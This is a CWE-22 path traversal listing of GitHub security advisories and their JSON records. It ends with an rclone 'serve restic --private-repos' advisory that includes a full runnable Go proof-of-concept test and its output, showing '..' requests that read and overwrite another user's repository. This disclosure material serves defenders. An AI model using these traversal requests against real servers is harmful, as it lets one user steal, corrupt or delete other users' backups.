Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

13549 vulnerabilities reference this CWE, most recent first.

GHSA-FQ7G-2CR5-XRQ6

Vulnerability from github – Published: 2022-05-17 03:32 – Updated: 2022-05-17 03:32

Details

Directory traversal vulnerability in Advantech WebAccess before 8.1 allows remote attackers to list arbitrary virtual-directory files via unspecified vectors.

Severity

7.5 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2016-0855"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-01-15T03:59:00Z",
    "severity": "HIGH"
  },
  "details": "Directory traversal vulnerability in Advantech WebAccess before 8.1 allows remote attackers to list arbitrary virtual-directory files via unspecified vectors.",
  "id": "GHSA-fq7g-2cr5-xrq6",
  "modified": "2022-05-17T03:32:33Z",
  "published": "2022-05-17T03:32:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-0855"
    },
    {
      "type": "WEB",
      "url": "https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01"
    },
    {
      "type": "WEB",
      "url": "http://www.zerodayinitiative.com/advisories/ZDI-16-122"
    },
    {
      "type": "WEB",
      "url": "http://www.zerodayinitiative.com/advisories/ZDI-16-123"
    },
    {
      "type": "WEB",
      "url": "http://www.zerodayinitiative.com/advisories/ZDI-16-124"
    },
    {
      "type": "WEB",
      "url": "http://www.zerodayinitiative.com/advisories/ZDI-16-125"
    },
    {
      "type": "WEB",
      "url": "http://www.zerodayinitiative.com/advisories/ZDI-16-126"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FQ7W-H2XR-RR5C

Vulnerability from github – Published: 2025-07-08 12:31 – Updated: 2025-07-08 12:31

Details

A vulnerability has been identified in SINEC NMS (All versions < V4.0). The affected application does not properly validate file paths when extracting uploaded ZIP files. This could allow an attacker to write arbitrary files to restricted locations and potentially execute code with elevated privileges (ZDI-CAN-26572).

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2025-40738"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-08T11:15:30Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SINEC NMS (All versions \u003c V4.0). The affected application does not properly validate file paths when extracting uploaded ZIP files. This could allow an attacker to write arbitrary files to restricted locations and potentially execute code with elevated privileges (ZDI-CAN-26572).",
  "id": "GHSA-fq7w-h2xr-rr5c",
  "modified": "2025-07-08T12:31:02Z",
  "published": "2025-07-08T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40738"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-078892.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FQ8J-6X8V-75HR

Vulnerability from github – Published: 2022-05-17 00:36 – Updated: 2022-05-17 00:36

Details

Directory traversal vulnerability in mods/Integrated/index.php in SineCMS 2.3.5 and earlier, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via the sine[config][index_main] parameter.

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{
  "affected": [],
  "aliases": [
    "CVE-2008-7163"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-09-04T10:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in mods/Integrated/index.php in SineCMS 2.3.5 and earlier, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via the sine[config][index_main] parameter.",
  "id": "GHSA-fq8j-6x8v-75hr",
  "modified": "2022-05-17T00:36:26Z",
  "published": "2022-05-17T00:36:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-7163"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39446"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4854"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/40084"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28305"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/27156"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-FQ9C-G5PQ-H4WW

Vulnerability from github – Published: 2022-05-14 02:54 – Updated: 2022-05-14 02:54

Details

Directory traversal vulnerability in bug_actiongroup_ext_page.php in MantisBT before 1.2.8 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the action parameter, related to bug_actiongroup_page.php.

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{
  "affected": [],
  "aliases": [
    "CVE-2011-3357"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2011-09-21T16:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in bug_actiongroup_ext_page.php in MantisBT before 1.2.8 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the action parameter, related to bug_actiongroup_page.php.",
  "id": "GHSA-fq9c-g5pq-h4ww",
  "modified": "2022-05-14T02:54:52Z",
  "published": "2022-05-14T02:54:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-3357"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mantisbt/mantisbt/commit/5b93161f3ece2f73410c296fed8522f6475d273d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mantisbt/mantisbt/commit/6ede60d3db9e202044f135001589cce941ff6f0f"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=735514"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/69588"
    },
    {
      "type": "WEB",
      "url": "https://www.htbridge.ch/advisory/multiple_vulnerabilities_in_mantisbt.html"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=640297"
    },
    {
      "type": "WEB",
      "url": "http://lists.debian.org/debian-security-tracker/2011/09/msg00012.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.fedoraproject.org/pipermail/package-announce/2011-September/066061.html"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/45961"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/51199"
    },
    {
      "type": "WEB",
      "url": "http://security.gentoo.org/glsa/glsa-201211-01.xml"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/8392"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2011/dsa-2308"
    },
    {
      "type": "WEB",
      "url": "http://www.mantisbt.org/bugs/view.php?id=13281"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/09/04/1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/09/04/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2011/09/09/9"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/519547/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/49448"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-FQ9P-PM79-953V

Vulnerability from github – Published: 2025-01-31 18:31 – Updated: 2025-02-03 18:30

Details

An issue in OpenPanel v0.3.4 to v0.2.1 allows attackers to execute a directory traversal in File Actions of File Manager.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2024-53537"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-31T16:15:34Z",
    "severity": "HIGH"
  },
  "details": "An issue in OpenPanel v0.3.4 to v0.2.1 allows attackers to execute a directory traversal in File Actions of File Manager.",
  "id": "GHSA-fq9p-pm79-953v",
  "modified": "2025-02-03T18:30:39Z",
  "published": "2025-01-31T18:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53537"
    },
    {
      "type": "WEB",
      "url": "https://openpanel.com/docs/changelog/0.3.5/#%EF%B8%8F-security-fixes"
    },
    {
      "type": "WEB",
      "url": "https://packetstorm.news/files/id/188913"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FQCM-97M6-W7RM

Vulnerability from github – Published: 2026-03-02 23:34 – Updated: 2026-03-18 21:50

Summary

OpenClaw: Message action attachment hydration bypasses local media root checks when sandboxRoot is unset

Details

Impact

sendAttachment and setGroupIcon message actions could hydrate media from local absolute paths when sandboxRoot was unset, bypassing intended local media root checks. This could allow reads of arbitrary host files reachable by the runtime user when an authorized message-action path was triggered.

Affected Packages / Versions

Package: openclaw (npm)
Latest published npm version at triage: 2026.2.23
Vulnerable: <= 2026.2.23
Patched in code: >= 2026.2.24 (planned next release)

Remediation

Upgrade to openclaw 2026.2.24 or later once published.

Fix Commit(s)

270ab03e379f9653e15f7033c9830399b66b7e51

Release Process Note

patched_versions is pre-set to the planned next release (>= 2026.2.24). Once that npm release is published, this advisory can be published without further field edits.

OpenClaw thanks @GCXWLP for reporting.

Publication Update (2026-02-25)

openclaw@2026.2.24 is published on npm and contains the fix commit(s) listed above. This advisory now marks >= 2026.2.24 as patched.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.2.23"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.2.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27522"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T23:34:02Z",
    "nvd_published_at": "2026-03-18T02:16:23Z",
    "severity": "HIGH"
  },
  "details": "## Impact\n`sendAttachment` and `setGroupIcon` message actions could hydrate media from local absolute paths when `sandboxRoot` was unset, bypassing intended local media root checks. This could allow reads of arbitrary host files reachable by the runtime user when an authorized message-action path was triggered.\n\n## Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published npm version at triage: `2026.2.23`\n- Vulnerable: `\u003c= 2026.2.23`\n- Patched in code: `\u003e= 2026.2.24` (planned next release)\n\n## Remediation\nUpgrade to `openclaw` `2026.2.24` or later once published.\n\n## Fix Commit(s)\n- 270ab03e379f9653e15f7033c9830399b66b7e51\n\n## Release Process Note\n`patched_versions` is pre-set to the planned next release (`\u003e= 2026.2.24`). Once that npm release is published, this advisory can be published without further field edits.\n\nOpenClaw thanks @GCXWLP for reporting.\n\n\n### Publication Update (2026-02-25)\n`openclaw@2026.2.24` is published on npm and contains the fix commit(s) listed above. This advisory now marks `\u003e= 2026.2.24` as patched.",
  "id": "GHSA-fqcm-97m6-w7rm",
  "modified": "2026-03-18T21:50:04Z",
  "published": "2026-03-02T23:34:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-fqcm-97m6-w7rm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/270ab03e379f9653e15f7033c9830399b66b7e51"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-arbitrary-file-read-via-sendattachment-and-setgroupicon-message-actions"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Message action attachment hydration bypasses local media root checks when sandboxRoot is unset"
}

GHSA-FQF3-WWVM-VGR9

Vulnerability from github – Published: 2022-08-04 00:00 – Updated: 2022-08-10 00:00

Details

Improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability in webapi component in Synology Calendar before 2.3.4-0631 allows remote authenticated users to download arbitrary files via unspecified vectors.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2022-27617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-03T03:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper limitation of a pathname to a restricted directory (\u0027Path Traversal\u0027) vulnerability in webapi component in Synology Calendar before 2.3.4-0631 allows remote authenticated users to download arbitrary files via unspecified vectors.",
  "id": "GHSA-fqf3-wwvm-vgr9",
  "modified": "2022-08-10T00:00:30Z",
  "published": "2022-08-04T00:00:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27617"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/security/advisory/Synology_SA_20_07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FQGG-5297-H6R4

Vulnerability from github – Published: 2022-05-14 03:30 – Updated: 2022-05-14 03:30

Details

Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1, 8.0.1.0 - 8.0.1.2, and 8.0.0.0 - 8.0.0.6, versions 7.2.1.x, and version 7.1.1.11 is affected by a path traversal vulnerability in the isi_phone_home tool. A malicious compadmin may potentially exploit this vulnerability to execute arbitrary code with root privileges.

Severity

6.7 (Medium)


                  
                    CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2018-1204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-03-26T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1, 8.0.1.0 - 8.0.1.2, and 8.0.0.0 - 8.0.0.6, versions 7.2.1.x, and version 7.1.1.11 is affected by a path traversal vulnerability in the isi_phone_home tool. A malicious compadmin may potentially exploit this vulnerability to execute arbitrary code with root privileges.",
  "id": "GHSA-fqgg-5297-h6r4",
  "modified": "2022-05-14T03:30:36Z",
  "published": "2022-05-14T03:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1204"
    },
    {
      "type": "WEB",
      "url": "https://www.coresecurity.com/advisories/dell-emc-isilon-onefs-multiple-vulnerabilities"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/44039"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/Mar/50"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/103033"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FQJ6-WHHX-47P7

Vulnerability from github – Published: 2024-12-11 18:44 – Updated: 2024-12-12 19:20

Summary

SiYuan has an arbitrary file write in the host via /api/asset/upload

Details

Summary

The /api/asset/upload endpoint in Siyuan is vulnerable to both arbitrary file write to the host and stored XSS (via the file write).

Impact

Arbitrary file write

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20241210012039-5129ad926a21"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-55659"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-11T18:44:49Z",
    "nvd_published_at": "2024-12-12T02:15:32Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe /api/asset/upload endpoint in Siyuan is vulnerable to both arbitrary file write to the host and stored XSS (via the file write).\n\n### Impact\nArbitrary file write",
  "id": "GHSA-fqj6-whhx-47p7",
  "modified": "2024-12-12T19:20:10Z",
  "published": "2024-12-11T18:44:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fqj6-whhx-47p7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-55659"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/commit/e70ed57f6e4852e2bd702671aeb8eb3a47a36d71"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-3326"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SiYuan has an arbitrary file write in the host via /api/asset/upload"
}

GHSA-FQJ9-69PF-6PJG

Vulnerability from github – Published: 2026-08-05 20:41 – Updated: 2026-08-05 20:41

Summary

rclone `serve restic --private-repos` authorization bypass: `..` in the URL path lets an authenticated user read, overwrite and delete other users' repositories

Details

Summary

rclone serve restic --private-repos exists to let one rclone instance host many users' restic backup repositories behind HTTP Basic auth while keeping each user confined to a path prefix of /<username>/. The documentation states the flag "can be used to limit users to repositories starting with a path of /<username>/", and the shipped test TestResticPrivateRepositories asserts that user test may reach /test/config but is 403-blocked from /other_user/config. This isolation is the entire security purpose of the flag.

The isolation is enforced by two independent chi middlewares that derive the username and the backend object path from two different sources, and the path source is never canonicalized. checkPrivate authorizes the request by comparing the routed {userID} path segment against the authenticated user, while WithRemote builds the backend object key from the raw, un-cleaned URL path. A request such as GET /<me>/../<victim>/config keeps the first path segment equal to the attacker's own username (so checkPrivate returns the request as authorized) yet hands the backend the literal remote me/../victim/config. On any backend that resolves object paths with POSIX path.Join/path.Clean semantics — which includes the bundled memory backend used in the PoC below, and the widely deployed sftp and ftp backends — that .. segment collapses, and the operation is performed against the victim's object.

Because the same un-cleaned remote feeds the GET (download), POST (upload/overwrite) and DELETE handlers, any authenticated user can read, overwrite, and delete the files of any other user's private repository hosted on the same server. For restic that means reading another tenant's config/keys metadata and pack files, corrupting their repository, or deleting their backups outright (subject to --append-only, which still permits cross-tenant reads).

Affected code (v1.74.3, commit `37e4117…`)

cmd/serve/restic/restic.go. The two middlewares disagree on what "the path" is. checkPrivate reads the chi route param userID:

// Middleware to ensure authenticated user is accessing their own private folder
func checkPrivate(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        user := chi.URLParam(r, "userID")
        userID, ok := libhttp.CtxGetUser(r.Context())
        if ok && user != "" && user == userID {
            next.ServeHTTP(w, r)
        } else {
            http.Error(w, http.StatusText(http.StatusForbidden), http.StatusForbidden)
        }
    })
}

WithRemote builds the backend object key from the raw URL path with no path.Clean and no .. rejection (the only transformation is the unrelated data/xx sharding rewrite):

func WithRemote(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        var urlpath string
        rctx := chi.RouteContext(r.Context())
        if rctx != nil && rctx.RoutePath != "" {
            urlpath = rctx.RoutePath
        } else {
            urlpath = r.URL.Path
        }
        urlpath = strings.Trim(urlpath, "/")
        parts := matchData.FindStringSubmatch(urlpath)
        // ... data/2159dd48 -> data/21/2159dd48 sharding only ...
        ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath)
        next.ServeHTTP(w, r.WithContext(ctx))
    })
}

Route wiring (Bind): the auth-bearing {userID} segment is matched by chi for checkPrivate, but the catch-all /* that WithRemote reads keeps the literal ..:

if s.opt.PrivateRepos {
    router.Route("/{userID}", func(r chi.Router) {
        r.Use(checkPrivate)
        s.bind(r)
    })
    ...
}

The remote stored by WithRemote is then used verbatim by the object handlers, e.g. serveObject → s.newObject(ctx, remote) → s.f.NewObject(ctx, remote), postObject → operations.RcatSize(..., remote, ...), and deleteObject → o.Remove(...). For a request GET /test/../victim/config, instrumentation shows checkPrivate observing userIDparam="test" (authorized) while the object remote is "test/../victim/config" — the desync is exact.

Attacker model / precondition

The attacker is a low-privileged but legitimately authenticated user of the server: they hold valid HTTP Basic credentials for their own private repo (this is the normal multi-tenant deployment the flag is designed for — e.g. a hosting provider giving each customer a restic endpoint). No victim interaction is required.

Preconditions: (1) the operator runs rclone serve restic with --private-repos and authentication configured (the documented multi-tenant setup); and (2) the served backend resolves object paths with POSIX path.Join/path.Clean semantics so the .. collapses before the object is located. This holds for the bundled memory backend (used in the self-contained PoC), and for the commonly deployed sftp and ftp backends, whose object path is computed as path.Join(f.absRoot, remote) (backend/sftp/sftp.go, o.path()), which canonicalizes ... It does not hold for the local backend (which deliberately re-encodes ./.. path components to fullwidth characters in cleanRootPath/localPath, neutralizing traversal), and S3-style backends treat keys as opaque so a literal .. key normally will not match a victim object — so impact is backend-dependent. That backend-dependence is itself the defect: the cross-user authorization boundary must be enforced at the HTTP layer and must not silently rely on a particular backend's incidental path handling.

Impact

Across the per-user trust boundary that --private-repos is meant to enforce, any authenticated user can, against any other user's repository on the same server:

Read (GET): download the victim's restic config and keys/* files and pack/index objects — full confidentiality break of the victim's repository metadata and stored blobs. (Restic encrypts pack contents client-side, but the repository config, key files, snapshot/index structure and object existence all leak, and the master key is recoverable offline by anyone who also knows the victim's restic password — i.e. this removes the server-side isolation that was the only barrier.)
Overwrite (POST): replace the victim's objects with attacker-chosen content, corrupting or poisoning their backups. Blocked only if --append-only is set.
Delete (DELETE): remove the victim's repository objects, destroying their backups. Blocked only if --append-only is set (which still allows the read primitive).

This is a complete bypass of the multi-tenant isolation control, hence C:H/I:H/A:H, gated to PR:L by the need for a valid own-account.

Proof of Concept (complete — runs on 127.0.0.1 only)

Lab-only. This is a single self-contained Go test placed inside the rclone source tree; it starts an in-process restic server on a loopback httptest listener backed by the bundled in-memory backend (which has the same path.Join key semantics as the sftp/ftp backends), then sends raw, un-normalized HTTP request-targets over a TCP socket (so the .. is not collapsed client-side). It proves: (1) a user reads their own object — 200; (2) a direct cross-tenant request is correctly blocked — 403; (3) the .. bypass reads the victim's secret — 200 + leak; (4) the same bypass overwrites the victim's object — 200.

Reproduce against the exact vulnerable tag:

git clone --depth 1 --branch v1.74.3 https://github.com/rclone/rclone
cd rclone
# write the test file shown below to cmd/serve/restic/zzz_poc_test.go
go test ./cmd/serve/restic/ -run TestPrivateRepoCrossTenantPoC -v

cmd/serve/restic/zzz_poc_test.go:

package restic

import (
    "bufio"
    "context"
    "encoding/base64"
    "fmt"
    "net"
    "net/http/httptest"
    "strings"
    "testing"
    "time"

    "github.com/rclone/rclone/fs"
    "github.com/rclone/rclone/fs/config/configfile"
    "github.com/rclone/rclone/fs/object"
    "github.com/rclone/rclone/lib/random"
    "github.com/stretchr/testify/require"

    _ "github.com/rclone/rclone/backend/memory"
)

func pocBasicAuth(user, pass string) string {
    return base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
}

// rawReq sends a raw HTTP/1.1 request with an arbitrary (un-normalized)
// request-target + method + Basic auth, returning the full raw response.
func rawReq(t *testing.T, addr, method, target, user, pass string) string {
    conn, err := net.Dial("tcp", addr)
    require.NoError(t, err)
    defer func() { _ = conn.Close() }()
    cred := pocBasicAuth(user, pass)
    req := fmt.Sprintf("%s %s HTTP/1.1\r\nHost: x\r\nAuthorization: Basic %s\r\nConnection: close\r\n\r\n", method, target, cred)
    _, err = conn.Write([]byte(req))
    require.NoError(t, err)
    r := bufio.NewReader(conn)
    var sb strings.Builder
    buf := make([]byte, 8192)
    for {
        n, err := r.Read(buf)
        if n > 0 {
            sb.Write(buf[:n])
        }
        if err != nil {
            break
        }
    }
    return sb.String()
}

func pocBody(resp string) string {
    if idx := strings.Index(resp, "\r\n\r\n"); idx >= 0 {
        return resp[idx+4:]
    }
    return ""
}
func pocStatus(resp string) string { return strings.SplitN(resp, "\r\n", 2)[0] }

// TestPrivateRepoCrossTenantPoC demonstrates the --private-repos authz bypass
// on a bucket-style backend (memory: same path.Join semantics as sftp/ftp).
func TestPrivateRepoCrossTenantPoC(t *testing.T) {
    configfile.Install()
    ctx := context.Background()

    // Bucket-style backend shared by all private-repo users.
    f, err := fs.NewFs(ctx, ":memory:repos")
    require.NoError(t, err)

    put := func(remote, content string) {
        info := object.NewStaticObjectInfo(remote, time.Now(), int64(len(content)), true, nil, f)
        _, perr := f.Put(ctx, strings.NewReader(content), info)
        require.NoError(t, perr)
    }

    // Victim "alice" uploads her restic config under her own private prefix.
    secret := "ALICE-PRIVATE-RESTIC-CONFIG-" + random.String(8)
    put("alice/config", secret)

    // Attacker "mallory" has her own valid account on the same server.
    put("mallory/config", "mallory-own-config")

    opt := newOpt()
    opt.PrivateRepos = true
    opt.Auth.BasicUser = "mallory"
    opt.Auth.BasicPass = "password"
    opt.HTTP.ListenAddr = nil

    s, err := newServer(ctx, f, &opt)
    require.NoError(t, err)
    ts := httptest.NewServer(s.server.Router())
    defer ts.Close()
    addr := strings.TrimPrefix(ts.URL, "http://")

    // 1. Sanity: mallory reads her own config -> 200.
    r1 := rawReq(t, addr, "GET", "/mallory/config", "mallory", "password")
    t.Logf("[own]            GET /mallory/config              -> %s  body=%q", pocStatus(r1), pocBody(r1))

    // 2. Direct cross-tenant attempt is correctly blocked by checkPrivate -> 403.
    r2 := rawReq(t, addr, "GET", "/alice/config", "mallory", "password")
    t.Logf("[direct-blocked] GET /alice/config               -> %s  body=%q", pocStatus(r2), pocBody(r2))

    // 3. THE BYPASS: dot-dot in the trailing path keeps userID==mallory so
    //    checkPrivate passes, but the object remote collapses to alice/config.
    r3 := rawReq(t, addr, "GET", "/mallory/../alice/config", "mallory", "password")
    leaked := strings.Contains(pocBody(r3), secret)
    t.Logf("[BYPASS]         GET /mallory/../alice/config     -> %s  leaked=%v body=%q", pocStatus(r3), leaked, pocBody(r3))

    require.Equalf(t, "HTTP/1.1 200 OK", pocStatus(r3), "expected the bypass to return alice's object")
    require.Truef(t, leaked, "expected to read alice's secret config across the tenant boundary")

    // 4. Write bypass too: mallory overwrites alice's object (append-only off).
    r4 := rawReq(t, addr, "POST", "/mallory/../alice/config", "mallory", "password")
    t.Logf("[BYPASS-write]   POST /mallory/../alice/config    -> %s", pocStatus(r4))
}

Observed output (v1.74.3 and master HEAD):

=== RUN   TestPrivateRepoCrossTenantPoC
    zzz_poc_test.go: [own]            GET /mallory/config              -> HTTP/1.1 200 OK  body="mallory-own-config"
    zzz_poc_test.go: [direct-blocked] GET /alice/config               -> HTTP/1.1 403 Forbidden  body="Forbidden\n"
    zzz_poc_test.go: [BYPASS]         GET /mallory/../alice/config     -> HTTP/1.1 200 OK  leaked=true body="ALICE-PRIVATE-RESTIC-CONFIG-sijejif0"
    zzz_poc_test.go: [BYPASS-write]   POST /mallory/../alice/config    -> HTTP/1.1 200 OK
--- PASS: TestPrivateRepoCrossTenantPoC (0.00s)
PASS
ok      github.com/rclone/rclone/cmd/serve/restic   0.022s

